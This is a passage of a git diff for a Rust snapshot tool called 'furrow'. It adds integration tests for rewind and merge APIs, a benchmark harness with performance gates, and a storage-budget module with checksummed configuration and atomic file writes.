true); + let timeline = ui.request("GET", "/api/v1/timeline?limit=10", None).json(); + let pinned = timeline + .as_array() + .unwrap() + .iter() + .find(|row| row["id"] == snapshot) + .unwrap(); + assert_eq!(pinned["pinned"], true); + + let preview = ui.request( + "POST", + "/api/v1/rewind/plan", + Some(&serde_json::json!({"snapshot": snapshot, "paths": []})), + ); + assert_eq!(preview.status, 200); + let preview = preview.json(); + assert_eq!(preview["changes"].as_array().unwrap().len(), 1); + fs::write(fixture.repo.join("app.txt"), b"newer writer bytes\n").unwrap(); + + let apply = ui.request( + "POST", + "/api/v1/rewind/apply", + Some(&serde_json::json!({ + "snapshot": snapshot, + "confirm_snapshot": snapshot, + "preview_digest": preview["preview_digest"], + "paths": [], + "sqlite_consistent": false + })), + ); + assert_eq!(apply.status, 409); + assert_eq!(apply.json()["error"]["code"], "stale_preview"); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"newer writer bytes\n" + ); +} + +#[test] +fn mission_control_applies_a_real_verified_merge() { + let fixture = Fixture::new(); + fixture.watch(); + let fork = fixture.repo.parent().unwrap().join("review"); + let fork_output = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &fixture.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&fixture.repo) + .args(["fork", "review", "--destination"]) + .arg(&fork) + .output() + .unwrap(); + assert!(fork_output.status.success()); + fs::write(fork.join("app.txt"), b"verified merge bytes\n").unwrap(); + let snap = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &fixture.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&fork) + .args(["snap", "-m", "review result"]) + .output() + .unwrap(); + assert!(snap.status.success()); + + let ui = fixture.ui_with_merge_check(Some("git diff --check")); + let timeline_before = ui.request("GET", "/api/v1/timeline?limit=100", None).json(); + let preview = ui.request( + "POST", + "/api/v1/merge/preview", + Some(&serde_json::json!({"fork": "review"})), + ); + assert_eq!(preview.status, 200); + let preview = preview.json(); + assert!(preview["conflicts"].as_array().unwrap().is_empty()); + assert_eq!(preview["changes"], 1); + let timeline_after = ui.request("GET", "/api/v1/timeline?limit=100", None).json(); + assert_eq!( + timeline_after, timeline_before, + "merge preview must not publish restore points" + ); + assert_eq!(fs::read(fixture.repo.join("app.txt")).unwrap(), b"base\n"); + + let apply = ui.request( + "POST", + "/api/v1/merge/apply", + Some(&serde_json::json!({ + "fork": "review", + "preview_digest": preview["preview_digest"] + })), + ); + assert_eq!( + apply.status, + 200, + "{}", + String::from_utf8_lossy(&apply.body) + ); + assert!(apply.json()["result_snapshot"].is_string()); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"verified merge bytes\n" + ); +} + +fn git(root: &Path, arguments: &[&str]) { + let status = std::process::Command::new("git") + .arg("-C") + .arg(root) + .args(arguments) + .status() + .unwrap(); + assert!(status.success()); +} diff --git a/engine/furrow-core/Cargo.toml b/engine/furrow-core/Cargo.toml new file mode 100644 index 0000000000..4f0e10bab6 --- /dev/null +++ b/engine/furrow-core/Cargo.toml @@ -0,0 +1,48 @@ +[package] +name = "furrow-core" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +description = "Local-first working-state snapshots for agentic development" +license.workspace = true +repository.workspace = true +readme = "../README.md" +keywords = ["snapshot", "backup", "agents", "filesystem", "developer-tools"] +categories = ["command-line-utilities", "development-tools"] + +[lib] +name = "furrow" + +[features] +# Crash points armed by FURROW_FAULT, for the crash-safety tests only. +fault-injection = [] + +[dependencies] +anyhow.workspace = true +blake3.workspace = true +chacha20poly1305.workspace = true +clap.workspace = true +directories.workspace = true +fs2.workspace = true +filetime.workspace = true +hex.workspace = true +getrandom.workspace = true +libc.workspace = true +notify.workspace = true +rusqlite.workspace = true +rusty-s3.workspace = true +serde.workspace = true +serde_bytes.workspace = true +serde_json.workspace = true +sha2.workspace = true +tempfile.workspace = true +tiny_http.workspace = true +unicode-normalization.workspace = true +ureq.workspace = true +url.workspace = true +xattr.workspace = true +zeroize.workspace = true + +[[bench]] +name = "engine" +harness = false diff --git a/engine/furrow-core/benches/engine.rs b/engine/furrow-core/benches/engine.rs new file mode 100644 index 0000000000..ca25f57dd2 --- /dev/null +++ b/engine/furrow-core/benches/engine.rs @@ -0,0 +1,787 @@ +use anyhow::Context; +use furrow::chunker::ChunkStream; +use furrow::content_class::ContentClass; +use furrow::model::{ + Blob, ChunkRef, EntryKind, ObjectId, ObjectKind, SealQuality, Snapshot, SnapshotTrigger, Tree, + TreeEntry, +}; +use furrow::store::ObjectStore; +use furrow::FurrowRepository; +use furrow::{refs::RefLog, tree}; +use serde::{Deserialize, Serialize}; +use std::fs::{self, File}; +use std::io::{Read, Write}; +use std::path::{Path, PathBuf}; +use std::process::Command; +use std::time::Instant; +use std::time::{SystemTime, UNIX_EPOCH}; + +#[derive(Clone, Copy)] +struct Profile { + files: usize, + changed_files: usize, + chunk_bytes: u64, + warm_bytes: u64, + iterations: usize, + history_snapshots: usize, + lookup_iterations: usize, + universes: usize, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct Sample { + scenario: String, + wall_ms: f64, + cpu_ms: f64, + max_rss_bytes: u64, + units: u64, + bytes: u64, + tier: Option, + inner_ms: Option, +} + +#[derive(Serialize)] +struct Summary { + scenario: String, + samples: usize, + wall_median_ms: f64, + wall_p95_ms: f64, + cpu_p95_ms: f64, + max_rss_bytes: u64, + min_throughput_mib_s: Option, + min_units_per_second: f64, + units: u64, + bytes: u64, + tier: Option, + inner_p95_ms: Option, +} + +#[derive(Clone, Copy)] +struct Usage { + cpu_micros: u64, + max_rss_bytes: u64, +} + +fn main() -> anyhow::Result<()> { + let arguments: Vec = std::env::args().collect(); + if let Some(index) = arguments + .iter() + .position(|argument| argument == "--scenario") + { + let name = arguments.get(index + 1).context("missing scenario name")?; + let sample = run_scenario(name, profile()?)?; + println!("{}", serde_json::to_string(&sample)?); + return Ok(()); + } + + let profile = profile()?; + let executable = std::env::current_exe()?; + let mut summaries = Vec::new(); + for scenario in [ + "chunk", + "tree-diff", + "refs", + "cold-seal", + "delta-seal", + "fork", + "universes", + "radar", + "gc", + ] { + let mut samples = Vec::new(); + for _ in 0..profile.iterations { + let output = Command::new(&executable) + .args(["--scenario", scenario]) + .output() + .with_context(|| format!("run benchmark scenario {scenario}"))?; + anyhow::ensure!( + output.status.success(), + "scenario {scenario} failed: {}", + String::from_utf8_lossy(&output.stderr) + ); + samples.push(serde_json::from_slice::(&output.stdout)?); + } + summaries.push(summarize(samples)); + } + + println!( + "{:<12} {:>10} {:>10} {:>10} {:>10} {:>11} {:>12} {:>12}", + "scenario", + "median ms", + "p95 ms", + "inner ms", + "CPU p95", + "peak RSS", + "min units/s", + "min MiB/s" + ); + for summary in &summaries { + println!( + "{:<12} {:>10.2} {:>10.2} {:>10} {:>10.2} {:>8.1} MiB {:>12.0} {:>12}", + summary.scenario, + summary.wall_median_ms, + summary.wall_p95_ms, + summary + .inner_p95_ms + .map(|value| format!("{value:.2}")) + .unwrap_or_else(|| "-".to_owned()), + summary.cpu_p95_ms, + summary.max_rss_bytes as f64 / 1024.0 / 1024.0, + summary.min_units_per_second, + summary + .min_throughput_mib_s + .map(|value| format!("{value:.1}")) + .unwrap_or_else(|| "-".to_owned()) + ); + } + println!("BENCHMARK_RESULT {}", serde_json::to_string(&summaries)?); + if std::env::var_os("FURROW_BENCH_ENFORCE").is_some() { + enforce(&summaries, profile)?; + } + Ok(()) +} + +fn profile() -> anyhow::Result { + let reference = std::env::var_os("FURROW_BENCH_PROFILE").as_deref() + == Some(std::ffi::OsStr::new("reference")); + let defaults = if reference { + Profile { + files: 1_000_000, + changed_files: 100, + chunk_bytes: 1024 * 1024 * 1024, + warm_bytes: 64 * 1024 * 1024, + iterations: 5, + history_snapshots: 17_281, + lookup_iterations: 10_000, + universes: 10, + } + } else { + Profile { + files: 5_000, + changed_files: 100, + chunk_bytes: 128 * 1024 * 1024, + warm_bytes: 32 * 1024 * 1024, + iterations: 3, + history_snapshots: 721, + lookup_iterations: 1_000, + universes: 5, + } + }; + Ok(Profile { + files: environment_usize("FURROW_BENCH_FILES", defaults.files)?, + changed_files: environment_usize("FURROW_BENCH_CHANGED_FILES", defaults.changed_files)?, + chunk_bytes: environment_u64("FURROW_BENCH_CHUNK_BYTES", defaults.chunk_bytes)?, + warm_bytes: environment_u64("FURROW_BENCH_WARM_BYTES", defaults.warm_bytes)?, + iterations: environment_usize("FURROW_BENCH_ITERATIONS", defaults.iterations)?.max(1), + history_snapshots: environment_usize( + "FURROW_BENCH_HISTORY_SNAPSHOTS", + defaults.history_snapshots, + )?, + lookup_iterations: environment_usize( + "FURROW_BENCH_LOOKUP_ITERATIONS", + defaults.lookup_iterations, + )?, + universes: environment_usize("FURROW_BENCH_UNIVERSES", defaults.universes)?.max(1), + }) +} + +fn run_scenario(name: &str, profile: Profile) -> anyhow::Result { + match name { + "chunk" => benchmark_chunk(profile), + "tree-diff" => benchmark_tree_diff(profile), + "refs" => benchmark_refs(profile), + "cold-seal" => benchmark_cold_seal(profile), + "delta-seal" => benchmark_delta_seal(profile), + "fork" => benchmark_fork(profile), + "universes" => benchmark_universes(profile), + "radar" => benchmark_radar(profile), + "gc" => benchmark_gc(profile), + _ => anyhow::bail!("unknown benchmark scenario `{name}`"), + } +} + +fn benchmark_chunk(profile: Profile) -> anyhow::Result { + let before = usage()?; + let started = Instant::now(); + let mut stream = ChunkStream::new(PatternReader::new(profile.chunk_bytes)); + let mut chunks = 0_u64; + let mut bytes = 0_u64; + while let Some(chunk) = stream.next_chunk()? { + chunks += 1; + bytes += chunk.len() as u64; + std::hint::black_box(blake3::hash(&chunk)); + } + sample("chunk", started, before, chunks, bytes, None) +} + +fn benchmark_tree_diff(profile: Profile) -> anyhow::Result { + let root = tempfile::tempdir()?; + let store = ObjectStore::open(root.path().join("store"))?; + let entries = |changed: bool| { + (0..profile.files) + .map(|index| TreeEntry { + name: format!("file-{index:09}.dat").into_bytes(), + kind: EntryKind::File, + target: Some(if changed && index == profile.files / 2 { + [0xff; 32] + } else { + *blake3::hash(&index.to_le_bytes()).as_bytes() + }), + link_target: Vec::new(), + mode: 0o100644, + size: Workspace::FILE_BYTES as u64, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: None, + class: ContentClass::Source, + }) + .collect::>() + }; + let before_tree = tree::write(&store, entries(false))?; + let after_tree = tree::write(&store, entries(true))?; + let before = usage()?; + let started = Instant::now(); + let mut total_changes = 0_u64; + for _ in 0..profile.lookup_iterations { + let mut changes = 0_u64; + tree::diff_entries(&store, &before_tree, &after_tree, &mut |left, right| { + if left != right { + changes += 1; + } + Ok(()) + })?; + total_changes += changes; + } + std::hint::black_box(total_changes); + sample( + "tree-diff", + started, + before, + profile.lookup_iterations as u64, + 0, + None, + ) +} + +fn benchmark_refs(profile: Profile) -> anyhow::Result { + let root = tempfile::tempdir()?; + let refs = RefLog::open(root.path(), "history")?; + for index in 0..profile.history_snapshots { + refs.append( + *blake3::hash(&index.to_le_bytes()).as_bytes(), + index as i64, + None, + SnapshotTrigger::Watcher, + )?; + } + let before = usage()?; + let started = Instant::now(); + let mut observed = 0_usize; + for _ in 0..profile.lookup_iterations { + observed += refs.recent(20)?.len(); + } + std::hint::black_box(observed); + sample( + "refs", + started, + before, + profile.lookup_iterations as u64, + 0, + None, + ) +} + +fn benchmark_cold_seal(profile: Profile) -> anyhow::Result { + let workspace = Workspace::new(profile, false)?; + let before = usage()?; + let started = Instant::now(); + let _ = FurrowRepository::attach_and_snapshot( + &workspace.repo, + Some("benchmark cold seal".to_owned()), + SnapshotTrigger::Manual, + )?; + sample( + "cold-seal", + started, + before, + profile.files as u64, + profile.files as u64 * Workspace::FILE_BYTES as u64, + None, + ) +} + +fn benchmark_delta_seal(profile: Profile) -> anyhow::Result { + let workspace = Workspace::new(profile, false)?; + let (mut repository, _) = FurrowRepository::attach_and_snapshot( + &workspace.repo, + Some("benchmark baseline".to_owned()), + SnapshotTrigger::Manual, + )?; + let changed = workspace.change_files(profile.changed_files.min(profile.files))?; + let before = usage()?; + let started = Instant::now(); + repository.snapshot_changed_paths( + Some("benchmark delta".to_owned()), + SnapshotTrigger::Watcher, + &changed, + )?; + sample( + "delta-seal", + started, + before, + changed.len() as u64, + changed.len() as u64 * Workspace::FILE_BYTES as u64, + None, + ) +} + +fn benchmark_fork(profile: Profile) -> anyhow::Result { + let workspace = Workspace::new(profile, true)?; + let (mut repository, _) = FurrowRepository::attach_and_snapshot( + &workspace.repo, + Some("benchmark fork baseline".to_owned()), + SnapshotTrigger::Manual, + )?; + let destination = workspace.root.path().join("fork"); + let before = usage()?; + let started = Instant::now(); + let result = repository.fork("benchmark", &destination)?; + let mut sample = sample( + "fork", + started, + before, + result.files, + result.logical_bytes, + Some(result.tier.to_string()), + )?; + sample.inner_ms = Some(result.elapsed_ms as f64); + Ok(sample) +} + +fn benchmark_universes(profile: Profile) -> anyhow::Result { + let workspace = Workspace::new(profile, true)?; + let (mut repository, _) = FurrowRepository::attach_and_snapshot( + &workspace.repo, + Some("benchmark universe baseline".to_owned()), + SnapshotTrigger::Manual, + )?; + let first_destination = workspace.root.path().join("universe-1"); + let first = repository.prepare_fork("universe-1", &first_destination)?; + let before = usage()?; + let started = Instant::now(); + let mut destinations = Vec::with_capacity(profile.universes); + for offset in 0..profile.universes { + let index = offset + 1; + let mut plan = first.clone(); + plan.name = format!("universe-{index}"); + plan.destination = workspace.root.path().join(&plan.name); + let summary = repository.materialize_fork(plan)?; + destinations.push(summary.destination); + } + let mut children = Vec::with_capacity(profile.universes); + for destination in &destinations { + children.push( + Command::new("true") + .current_dir(destination) + .spawn() + .context("start benchmark universe")?, + ); + } + for mut child in children { + anyhow::ensure!(child.wait()?.success(), "benchmark universe failed"); + } + sample( + "universes", + started, + before, + profile.universes as u64, + first.logical_bytes.saturating_mul(profile.universes as u64), + Some(if cfg!(target_os = "linux") { + "sibling-benchmark; namespace excluded".to_owned() + } else { + "sibling-directory".to_owned() + }), + ) +} + +fn benchmark_radar(profile: Profile) -> anyhow::Result { + let workspace = Workspace::new(profile, false)?; + let (mut repository, _) = FurrowRepository::attach_and_snapshot( + &workspace.repo, + Some("benchmark radar baseline".to_owned()), + SnapshotTrigger::Manual, + )?; + let changed = profile.changed_files.min(profile.files); + for offset in 0..profile.universes { + let index = offset + 1; + let name = format!("radar-{index}"); + let destination = workspace.root.path().join(&name); + repository.fork(&name, &destination)?; + for file in 0..changed { + fs::write( + file_path(&destination, file), + vec![u8::try_from(index % 251)?; Workspace::FILE_BYTES], + )?; + } + FurrowRepository::open(&destination)?.snapshot( + Some(format!("radar universe {index}")), + SnapshotTrigger::AgentRun, + )?; + } + + let before = usage()?; + let started = Instant::now(); + let forks = repository.forks()?; + let mut sample = sample( + "radar", + started, + before, + (profile.universes * changed) as u64, + 0, + Some("exact-path-sql".to_owned()), + )?; + anyhow::ensure!( + forks.iter().all(|fork| fork.conflicts == changed as u64), + "radar benchmark conflict count is incomplete" + ); + let no_op = Instant::now(); + let _ = repository.forks()?; + sample.inner_ms = Some(no_op.elapsed().as_secs_f64() * 1000.0); + Ok(sample) +} + +fn benchmark_gc(profile: Profile) -> anyhow::Result { + let root = tempfile::tempdir()?; + let mut store = ObjectStore::open(root.path().join("store"))?; + store.ensure_workspace("history", b"/history")?; + let now = SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs() as i64; + let history_window = 180 * 24 * 60 * 60_i64; + let interval = (history_window / profile.history_snapshots.max(1) as i64).max(1); + let mut parent: Option = None; + for index in 0..profile.history_snapshots { + let byte = (index % 251) as u8; + let payload = vec![byte; 4096]; + let chunk = store.put_bytes(ObjectKind::Chunk, &payload)?; + let blob = store.put_struct( + ObjectKind::Blob, + &Blob { + chunks: vec![ChunkRef { + id: chunk, + len: payload.len() as u32, + }], + total_len: payload.len() as u64, + }, + )?; + let sealed_at = now - history_window + index as i64 * interval; + let tree = store.put_struct( + ObjectKind::Tree, + &Tree { + entries: vec![TreeEntry { + name: format!("cache-{index:09}.log").into_bytes(), + kind: EntryKind::File, + target: Some(blob), + link_target: Vec::new(), + mode: 0o100644, + size: payload.len() as u64, + mtime_secs: sealed_at, + mtime_nanos: 0, + xattrs: None, + class: ContentClass::Scratch, + }], + pages: Vec::new(), + }, + )?; + let snapshot = Snapshot { + root_tree: tree, + parent, + merge_parents: Vec::new(), + sealed_at_secs: sealed_at, + sealed_at_nanos: 0, + quality: SealQuality::Quiescent, + trigger: SnapshotTrigger::Watcher, + label: None, + sqlite_backups: Vec::new(), + claims: Vec::new(), + excluded_paths: Vec::new(), + hardlinks: Vec::new(), + }; + let id = store.put_struct(ObjectKind::Snapshot, &snapshot)?; + store.publish_snapshot("history", id, sealed_at, None, SnapshotTrigger::Watcher)?; + parent = Some(id); + } + let before = usage()?; + let started = Instant::now(); + let report = furrow::gc::collect(&mut store, false)?; + sample( + "gc", + started, + before, + report.published_snapshots, + report.reclaimed_bytes, + None, + ) +} + +fn sample( + scenario: &str, + started: Instant, + before: Usage, + units: u64, + bytes: u64, + tier: Option, +) -> anyhow::Result { + let wall_ms = started.elapsed().as_secs_f64() * 1000.0; + let after = usage()?; + Ok(Sample { + scenario: scenario.to_owned(), + wall_ms, + cpu_ms: after.cpu_micros.saturating_sub(before.cpu_micros) as f64 / 1000.0, + max_rss_bytes: after.max_rss_bytes, + units, + bytes, + tier, + inner_ms: None, + }) +} + +fn summarize(mut samples: Vec) -> Summary { + samples.sort_by(|left, right| left.wall_ms.total_cmp(&right.wall_ms)); + let median = samples[samples.len() / 2].wall_ms; + let p95_index = ((samples.len() as f64 * 0.95).ceil() as usize) + .saturating_sub(1) + .min(samples.len() - 1); + let p95 = samples[p95_index].wall_ms; + let mut cpu: Vec<_> = samples.iter().map(|sample| sample.cpu_ms).collect(); + cpu.sort_by(f64::total_cmp); + let cpu_p95 = cpu[p95_index]; + let max_rss_bytes = samples + .iter() + .map(|sample| sample.max_rss_bytes) + .max() + .unwrap_or(0); + let inner_p95_ms = if samples.iter().all(|sample| sample.inner_ms.is_some()) { + let mut values: Vec<_> = samples + .iter() + .filter_map(|sample| sample.inner_ms) + .collect(); + values.sort_by(f64::total_cmp); + Some(values[p95_index]) + } else { + None + }; + let min_throughput_mib_s = + if matches!(samples[0].scenario.as_str(), "chunk" | "fork" | "universes") { + samples + .iter() + .filter(|sample| sample.bytes > 0 && sample.wall_ms > 0.0) + .map(|sample| sample.bytes as f64 / 1024.0 / 1024.0 / (sample.wall_ms / 1000.0)) + .min_by(f64::total_cmp) + } else { + None + }; + let min_units_per_second = samples + .iter() + .map(|sample| sample.units as f64 / (sample.wall_ms / 1000.0)) + .min_by(f64::total_cmp) + .unwrap_or(0.0); + Summary { + scenario: samples[0].scenario.clone(), + samples: samples.len(), + wall_median_ms: median, + wall_p95_ms: p95, + cpu_p95_ms: cpu_p95, + max_rss_bytes, + min_throughput_mib_s, + min_units_per_second, + units: samples[0].units, + bytes: samples[0].bytes, + tier: samples.iter().find_map(|sample| sample.tier.clone()), + inner_p95_ms, + } +} + +fn enforce(summaries: &[Summary], profile: Profile) -> anyhow::Result<()> { + let find = |name: &str| { + summaries + .iter() + .find(|summary| summary.scenario == name) + .with_context(|| format!("missing benchmark {name}")) + }; + let chunk = find("chunk")?; + anyhow::ensure!( + chunk.min_throughput_mib_s.unwrap_or(0.0) >= 50.0, + "chunk throughput fell below 50 MiB/s" + ); + let delta = find("delta-seal")?; + anyhow::ensure!(delta.wall_p95_ms <= 2_000.0, "delta seal exceeded 2 s"); + let tree_diff = find("tree-diff")?; + anyhow::ensure!( + tree_diff.wall_p95_ms / tree_diff.units.max(1) as f64 <= 100.0, + "tree diff exceeded 100 ms per lookup" + ); + let refs = find("refs")?; + anyhow::ensure!( + refs.wall_p95_ms / refs.units.max(1) as f64 <= 5.0, + "reference lookup exceeded 5 ms per read" + ); + let fork = find("fork")?; + let fork_limit = if fork.tier.as_deref() == Some("native-cow") { + 2_000.0 * (profile.files.max(100_000) as f64 / 100_000.0) + } else { + 15_000.0 + }; + anyhow::ensure!(fork.wall_p95_ms <= fork_limit, "fork latency regressed"); + let universes = find("universes")?; + anyhow::ensure!( + universes.wall_p95_ms <= 30_000.0, + "multi-universe startup exceeded 30 s" + ); + anyhow::ensure!( + find("radar")?.wall_p95_ms <= 10_000.0, + "radar exceeded 10 s" + ); + anyhow::ensure!(find("gc")?.wall_p95_ms <= 10_000.0, "GC exceeded 10 s"); + for summary in summaries { + anyhow::ensure!( + summary.max_rss_bytes <= 512 * 1024 * 1024, + "{} exceeded the 512 MiB quick-gate RSS ceiling", + summary.scenario + ); + } + Ok(()) +} + +struct Workspace { + root: tempfile::TempDir, + repo: PathBuf, +} + +impl Workspace { + const FILE_BYTES: usize = 128; + + fn new(profile: Profile, warm: bool) -> anyhow::Result { + let root = tempfile::tempdir()?; + let repo = root.path().join("repo"); + fs::create_dir(&repo)?; + git(&repo, &["init", "-q", "-b", "main"])?; + git(&repo, &["config", "user.email", "bench@example.com"])?; + git(&repo, &["config", "user.name", "Benchmark"])?; + fs::write(repo.join(".gitignore"), b"node_modules/\n")?; + git(&repo, &["add", ".gitignore"])?; + git(&repo, &["commit", "-q", "-m", "benchmark baseline"])?; + write_files(&repo, profile.files)?; + if warm { + let cache = repo.join("node_modules/runtime/cache.bin"); + fs::create_dir_all(cache.parent().unwrap())?; + let mut file = File::create(cache)?; + let block = vec![0x5a; 1024 * 1024]; + let mut remaining = profile.warm_bytes; + while remaining > 0 { + let take = remaining.min(block.len() as u64) as usize; + file.write_all(&block[..take])?; + remaining -= take as u64; + } + } + std::env::set_var("FURROW_DATA_DIR", root.path().join("data")); + std::env::set_var("FURROW_NO_DAEMON", "1"); + Ok(Self { root, repo }) + } + + fn change_files(&self, count: usize) -> anyhow::Result> { + let mut changed = Vec::with_capacity(count); + for index in 0..count { + let path = file_path(&self.repo, index); + fs::write(&path, vec![0xa5; Self::FILE_BYTES])?; + changed.push(path); + } + Ok(changed) + } +} + +fn write_files(root: &Path, count: usize) -> anyhow::Result<()> { + let bytes = vec![0x3c; Workspace::FILE_BYTES]; + for index in 0..count { + let path = file_path(root, index); + if index % 1_000 == 0 { + fs::create_dir_all(path.parent().unwrap())?; + } + fs::write(path, &bytes)?; + } + Ok(()) +} + +fn file_path(root: &Path, index: usize) -> PathBuf { + root.join(format!("files/{:06}/file-{index:09}.dat", index / 1_000)) +} + +fn git(repo: &Path, arguments: &[&str]) -> anyhow::Result<()> { + let status = Command::new("git") + .arg("-C") + .arg(repo) + .args(arguments) + .status()?; + anyhow::ensure!(status.success(), "git command failed"); + Ok(()) +} + +struct PatternReader { + remaining: u64, + offset: u64, +} + +impl PatternReader { + fn new(remaining: u64) -> Self { + Self { + remaining, + offset: 0, + } + } +} + +impl Read for PatternReader { + fn read(&mut self, buffer: &mut [u8]) -> std::io::Result { + let take = self.remaining.min(buffer.len() as u64) as usize; + for (index, byte) in buffer[..take].iter_mut().enumerate() { + *byte = ((self.offset + index as u64).wrapping_mul(31) % 251) as u8; + } + self.offset += take as u64; + self.remaining -= take as u64; + Ok(take) + } +} + +fn usage() -> anyhow::Result { + let mut usage = std::mem::MaybeUninit::::zeroed(); + let result = unsafe { libc::getrusage(libc::RUSAGE_SELF, usage.as_mut_ptr()) }; + anyhow::ensure!(result == 0, "getrusage failed"); + let usage = unsafe { usage.assume_init() }; + let micros = |time: libc::timeval| { + (time.tv_sec as u64) + .saturating_mul(1_000_000) + .saturating_add(time.tv_usec as u64) + }; + #[cfg(target_os = "macos")] + let max_rss_bytes = usage.ru_maxrss as u64; + #[cfg(not(target_os = "macos"))] + let max_rss_bytes = (usage.ru_maxrss as u64).saturating_mul(1024); + Ok(Usage { + cpu_micros: micros(usage.ru_utime).saturating_add(micros(usage.ru_stime)), + max_rss_bytes, + }) +} + +fn environment_usize(name: &str, default: usize) -> anyhow::Result { + std::env::var(name).map_or(Ok(default), |value| { + value + .parse() + .with_context(|| format!("parse environment variable {name}")) + }) +} + +fn environment_u64(name: &str, default: u64) -> anyhow::Result { + std::env::var(name).map_or(Ok(default), |value| { + value + .parse() + .with_context(|| format!("parse environment variable {name}")) + }) +} diff --git a/engine/furrow-core/src/budget.rs b/engine/furrow-core/src/budget.rs new file mode 100644 index 0000000000..bb50339066 --- /dev/null +++ b/engine/furrow-core/src/budget.rs @@ -0,0 +1,204 @@ +use anyhow::Context; +use serde::{Deserialize, Serialize}; +use std::fs::{self, File, OpenOptions}; +use std::io::Write; +use std::path::Path; +use std::time::{SystemTime, UNIX_EPOCH}; + +const CONFIG_FILE: &str = "budget.json"; +const PRESSURE_FILE: &str = "budget-pressure.json"; +const DEFAULT_MAX_STORE_BYTES: u64 = 20 * 1024 * 1024 * 1024; +const DEFAULT_RESERVED_FREE_BYTES: u64 = 512 * 1024 * 1024; +const RETRY_GROWTH_BYTES: u64 = 64 * 1024 * 1024; +const RETRY_AFTER_SECONDS: i64 = 24 * 60 * 60; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +pub struct BudgetConfig { + pub max_store_bytes: u64, + pub reserved_free_bytes: u64, +} + +#[derive(Debug, Clone, Copy, Serialize)] +pub struct BudgetStatus { + pub max_store_bytes: u64, + pub reserved_free_bytes: u64, + pub physical_bytes: u64, + pub available_bytes: u64, + pub over_store_bytes: u64, + pub below_reserved_bytes: u64, + pub satisfied: bool, +} + +#[derive(Serialize, Deserialize)] +struct ConfigEnvelope { + config: BudgetConfig, + checksum: String, +} + +#[derive(Serialize, Deserialize)] +struct PressureAttempt { + physical_bytes: u64, + attempted_at: i64, +} + +impl Default for BudgetConfig { + fn default() -> Self { + Self { + max_store_bytes: DEFAULT_MAX_STORE_BYTES, + reserved_free_bytes: DEFAULT_RESERVED_FREE_BYTES, + } + } +} + +impl BudgetStatus { + pub fn pressured(self) -> bool { + !self.satisfied + } +} + +pub fn load(store_root: &Path) -> anyhow::Result { + let path = store_root.join(CONFIG_FILE); + if !path.exists() { + return Ok(BudgetConfig::default()); + } + let envelope: ConfigEnvelope = serde_json::from_slice(&fs::read(&path)?) + .with_context(|| format!("read budget configuration {}", path.display()))?; + let payload = serde_json::to_vec(&envelope.config)?; + anyhow::ensure!( + envelope.checksum == blake3::hash(&payload).to_hex().as_str(), + "budget configuration checksum mismatch" + ); + validate(envelope.config)?; + Ok(envelope.config) +} + +pub fn save(store_root: &Path, config: BudgetConfig) -> anyhow::Result<()> { + validate(config)?; + let payload = serde_json::to_vec(&config)?; + let envelope = ConfigEnvelope { + config, + checksum: blake3::hash(&payload).to_hex().to_string(), + }; + atomic_write( + store_root, + CONFIG_FILE, + &serde_json::to_vec_pretty(&envelope)?, + )?; + clear_pressure(store_root) +} + +pub fn status( + store_root: &Path, + config: BudgetConfig, + physical_bytes: u64, +) -> anyhow::Result { + let available_bytes = fs2::available_space(store_root)?; + let over_store_bytes = physical_bytes.saturating_sub(config.max_store_bytes); + let below_reserved_bytes = config.reserved_free_bytes.saturating_sub(available_bytes); + Ok(BudgetStatus { + max_store_bytes: config.max_store_bytes, + reserved_free_bytes: config.reserved_free_bytes, + physical_bytes, + available_bytes, + over_store_bytes, + below_reserved_bytes, + satisfied: over_store_bytes == 0 && below_reserved_bytes == 0, + }) +} + +pub fn should_retry(store_root: &Path, physical_bytes: u64) -> anyhow::Result { + let path = store_root.join(PRESSURE_FILE); + if !path.exists() { + return Ok(true); + } + let attempt: PressureAttempt = serde_json::from_slice(&fs::read(path)?)?; + let now = now()?; + Ok( + physical_bytes >= attempt.physical_bytes.saturating_add(RETRY_GROWTH_BYTES) + || now.saturating_sub(attempt.attempted_at) >= RETRY_AFTER_SECONDS, + ) +} + +pub fn record_attempt( + store_root: &Path, + physical_bytes: u64, + satisfied: bool, +) -> anyhow::Result<()> { + if satisfied { + return clear_pressure(store_root); + } + atomic_write( + store_root, + PRESSURE_FILE, + &serde_json::to_vec(&PressureAttempt { + physical_bytes, + attempted_at: now()?, + })?, + ) +} + +fn clear_pressure(store_root: &Path) -> anyhow::Result<()> { + let path = store_root.join(PRESSURE_FILE); + if path.exists() { + fs::remove_file(path)?; + File::open(store_root)?.sync_all()?; + } + Ok(()) +} + +fn validate(config: BudgetConfig) -> anyhow::Result<()> { + anyhow::ensure!(config.max_store_bytes > 0, "store budget must be positive"); + Ok(()) +} + +fn atomic_write(store_root: &Path, name: &str, bytes: &[u8]) -> anyhow::Result<()> { + let path = store_root.join(name); + let temporary = store_root.join(format!(".{name}.tmp")); + let mut file = OpenOptions::new() + .create(true) + .truncate(true) + .write(true) + .open(&temporary)?; + file.write_all(bytes)?; + file.sync_all()?; + fs::rename(temporary, path)?; + File::open(store_root)?.sync_all()?; + Ok(()) +} + +fn now() -> anyhow::Result { + Ok(SystemTime::now() + .duration_since(UNIX_EPOCH) + .context("system clock is before Unix epoch")? + .as_secs() as i64) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn configuration_round_trips_and_corruption_fails_closed() { + let temporary = tempfile::tempdir().unwrap(); + assert_eq!(load(temporary.path()).unwrap(), BudgetConfig::default()); + let configured = BudgetConfig { + max_store_bytes: 123_456, + reserved_free_bytes: 654_321, + }; + save(temporary.path(), configured).unwrap(); + assert_eq!(load(temporary.path()).unwrap(), configured); + fs::write(temporary.path().join(CONFIG_FILE), b"{}").unwrap(); + assert!(load(temporary.path()).is_err()); + } + + #[test] + fn pressure_backoff_retries_after_meaningful_growth() { + let temporary = tempfile::tempdir().unwrap(); + assert!(should_retry(temporary.path(), 100).unwrap()); + record_attempt(temporary.path(), 100, false).unwrap(); + 